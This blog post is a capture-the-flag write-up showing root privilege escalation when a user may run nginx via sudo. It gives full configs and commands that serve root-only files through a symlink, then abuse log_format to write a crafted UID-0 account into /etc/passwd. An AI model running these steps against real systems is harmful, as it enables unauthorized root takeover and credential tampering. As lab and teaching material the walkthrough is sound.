A fun privesc

In a recent CTF, I had access to a user that could run nginx as root with no password.

There are no entries on gtfobins for this, so it was a think out of the box privesc.

It was easy to get the root flag but actually getting RCE as root was a bit trickier.

Getting the flag

Because I can run nginx as root, I can specify our own config files, to control what nginx does.

I copied the original nginx.conf file to /dev/shm/e/nginx.conf and made some changes.

user root; #<--------------------------- CHANGE 1
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {

        ##
        # Basic Settings
        ##

        sendfile on;
        tcp_nopush on;
        types_hash_max_size 2048;
        # server_tokens off;

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ##
        # SSL Settings
        ##

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        ##
        # Logging Settings
        ##

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        ##
        # Gzip Settings
        ##

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        include /dev/shm/e/sites-enabled/*; #<-----------------------------CHANGE 2
}

So now I can get nginx running as root, and it will use my /dev/shm/e/sites-enabled/ directory for the virtual hosts.

I’ll then create a custom nginx vhosts file in /dev/shm/e/sites-enabled/default with the following.

##
# You should look at the following URL's in order to grasp a solid understanding
# of Nginx configuration files in order to fully unleash the power of Nginx.
# https://www.nginx.com/resources/wiki/start/
# https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
# https://wiki.debian.org/Nginx/DirectoryStructure
#
# In most cases, administrators will remove this file from sites-enabled/ and
# leave it as reference inside of sites-available where it will continue to be
# updated by the nginx packaging team.
#
# This file will automatically load configuration files provided by other
# applications, such as Drupal or Wordpress. These applications will be made
# available underneath a path with that package name, such as /drupal8.
#
# Please see /usr/share/doc/nginx-doc/examples/ for more detailed examples.
##

# Default server configuration
#
server {
        listen 8001 default_server;
        listen [::]:8001 default_server;

        # SSL configuration
        #
        # listen 443 ssl default_server;
        # listen [::]:443 ssl default_server;
        #
        # Note: You should disable gzip for SSL traffic.
        # See: https://bugs.debian.org/773332
        #
        # Read up on ssl_ciphers to ensure a secure configuration.
        # See: https://bugs.debian.org/765782
        #
        # Self signed certs generated by the ssl-cert package
        # Don't use them in a production server!
        #
        # include snippets/snakeoil.conf;

        root /dev/shm/e/;

        # Add index.php to the list if you are using PHP
        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                # First attempt to serve request as file, then
                # as directory, then fall back to displaying a 404.
                try_files $uri $uri/ =404;
        }
}

Now because nginx runs this site as root, it can read any file that root can.

If I create a symlink in /dev/shm/e/root.txt –> /root/root.txt, start nginx, and run curl localhost:8001/root.txt, it should output the flag!

activemq@broker:~$ ln -s /root/root.txt /dev/shm/e/root
activemq@broker:~$ sudo nginx -c /dev/shm/e/nginx.conf
activemq@broker:~$ curl localhost:8001/root
<THEFLAG>

RCE

Ok, so I have the flag but I’m not really root… I could read /etc/shadow and attempt to crack the hash, but that relies on root having a weak password.

Well, I can define the log format of nginx, so I can potentially write whatever I want to any file… Below shows the new config

user root;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {

        ##
        # Basic Settings
        ##

        sendfile on;
        tcp_nopush on;
        types_hash_max_size 2048;
        # server_tokens off;

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ##
        # SSL Settings
        ##

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        ##
        # Logging Settings
        ##
        log_format test $http_user_agent; #<-------------------- CHANGE 1
        access_log /dev/shm/e/access.log test; #<-------------------- CHANGE 2
        error_log /dev/shm/e/error.log; #<--------------------------- CHANGE 3

        ##
        # Gzip Settings
        ##

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        include /dev/shm/e/sites-enabled/*; 
}

And when I run the following

activemq@broker:/dev/shm/e$ curl localhost:8001/ --user-agent INJECTED
activemq@broker:/dev/shm/e$ cat access.log
INJECTED

So now I need something to inject, I could potentially inject into /etc/password or /etc/shadow, but that might completely overwrite it.

So I’ll make a backup.

I’ve written a mini python script for this situation, called fakeroot

By running it locally, I generate some hashes I can use

┌──(kali㉿kali)-[~/…/HTB/easy/broker/root]
└─$ python3 fakeroot.py -u oops -p 'password'
user:pass
oops:password

For shadow file:
oops:$6$potato$tBpm/m/PkRRzRYIrjQg6yprA0LhuPFJeXs1FWiDKvHWLYJdKxYZcENtiDo0kUnHoZXJrcWLgcUZ//Du.7a1Zc/:19477:0:99999:7:::
For passwd file:
oops:x:0:0:root:/root:/bin/bash
Or... for hash in passwd file: (less secure)
oops:$6$potato$tBpm/m/PkRRzRYIrjQg6yprA0LhuPFJeXs1FWiDKvHWLYJdKxYZcENtiDo0kUnHoZXJrcWLgcUZ//Du.7a1Zc/:0:0:root:/root:/bin/bash

So I need to modify the nginx.conf file to point to /etc/passwd, then send a user agent string.

        log_format test $http_user_agent;
        access_log /etc/passwd test; #<---------- CHANGE 1

And then send the user agent.

activemq@broker:/dev/shm/e$ curl localhost:8001/ --user-agent 'oops:$6$potato$tBpm/m/PkRRzRYIrjQg6yprA0LhuPFJeXs1FWiDKvHWLYJdKxYZcENtiDo0kUnHoZXJrcWLgcUZ//Du.7a1Zc/:0:0:root:/root:/bin/bash'

Check /etc/passwd

activemq@broker:/dev/shm/e$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[..]
oops:$6$potato$tBpm/m/PkRRzRYIrjQg6yprA0LhuPFJeXs1FWiDKvHWLYJdKxYZcENtiDo0kUnHoZXJrcWLgcUZ//Du.7a1Zc/:0:0:root:/root:/bin/bash #<------- I'M IN

And finally switch to oops.

activemq@broker:/dev/shm/e$ su oops
Password: 
root@broker:/dev/shm/e# cd /root
root@broker:~# ls
cleanup.sh  root.txt

My inner thoughts

A fun privesc

Getting the flag

RCE

Recent Posts: